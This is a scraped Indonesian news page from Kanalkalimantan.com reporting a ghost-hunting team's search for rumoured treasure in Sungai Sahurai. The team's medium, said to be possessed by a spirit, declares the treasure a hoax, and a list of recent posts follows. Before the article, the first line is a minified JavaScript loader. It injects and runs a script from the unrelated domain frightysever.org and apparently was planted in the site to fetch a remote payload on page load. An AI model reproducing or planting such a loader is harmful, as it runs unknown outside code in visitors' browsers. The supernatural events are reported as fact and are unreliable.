(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

EKSKLUSIF. Misteri Sungai Sahurai, Tim Pemburu Ghaib ‘Bongkar’ Kabar Keberadaan Harta Karun


KANALKALIMATAN.COM, MARTAPURA – Tim Pemburu Ghaib Borneo bersama Tim Singkikih melakukan penelusuran di sebuah desa di Sungai Sahurai, Kecamatan Rantau Badauh, Kabupaten Barito Kuala (Batola), yang konon di tempat tersebut terdapat harta karun. Penasaran dengan kabar itu, tim ingin memecahkan misteri yang jadi desas-desus warga. Benarkah? 

Perjalanan di tempuh dari Martapura menuju Rantau Badauh memakan waktu hampir 2 jam. Tim Pemburu Ghaib bersama Singkikih harus melewati pemakaman yang berada di sekitar lokasi. Tanpa ada penerangan satu pun, banyaknya pohon pisang di sekitar lokasi membuat suasana semakin mencekam.

Di lokasi tersebut para tim mendapatkan sebuah penampakan berupa cewek baju putih dengan rambut panjang. Ia nampak berdiri di depan pohon pisang. Diduga penampakan tersebut adalah kuntilanak.

Sebelum memulai kegiatan tim terlebih dahulu melakukan doa bersama agar tidak terjadi sesuatu yang tidak diingikan. Setelah melakukan doa bersama tim terlebih dahulu melakukan pembukaan gerbang pintu ghaib.

Setelah pintu ghaib terbuka, para tim bersiap untuk memasukan makhluk ghaib yang berada di sekitar lokasi untuk di masukan ke dalam tubuh mediator. Yang menjadi mediator kali ini adalah Bang Rosyad, dan yang akan memasukan ke tubuh mediator yakni Tahzzi Samudera dari Singkikih Tim.

Setelah Makhluk Ghaib tersebut masuk ke dalam tubuh Bang Rosyad, makhluk tersebut marah dan merasa terganggu atas kehadiran para tim. “Mau apa kalian di sini, kalian menggangu saja,” ucap sang mediator, pantuan Kanalkalimantan.com di lokasi, terjadilah pertarungan antara Tahzzi Samudera dengan Bang Rosyad yang tubuhnya telah dimasuki makhluk ghaib.

Makhluk ghaib tersebut tidak bisa menyerang Tahzzi Samudera, ketika dia ingin menyerang, dia terpental. Dengan tiupan Tahzzi Samudera mediator tersebut terpental.

Sang mediator pun kalah, dan langsung Bang Rifqi menanyakan sesuatu tentang tempat di sini. Ia pun mengatakan tidak ada harta karun.

“Itu hanyalah tipu daya saya semua, di sini tidak ada harta karun, itu semua hanya lah tipu daya kami semua, dan semua itu bohong,” kata mediator. (kanalkalimantan.com/wahyu)

Reporter: Wahyu
Editor: Cell


Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

9 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

12 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

12 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

14 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

16 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

17 jam ago

This website uses cookies.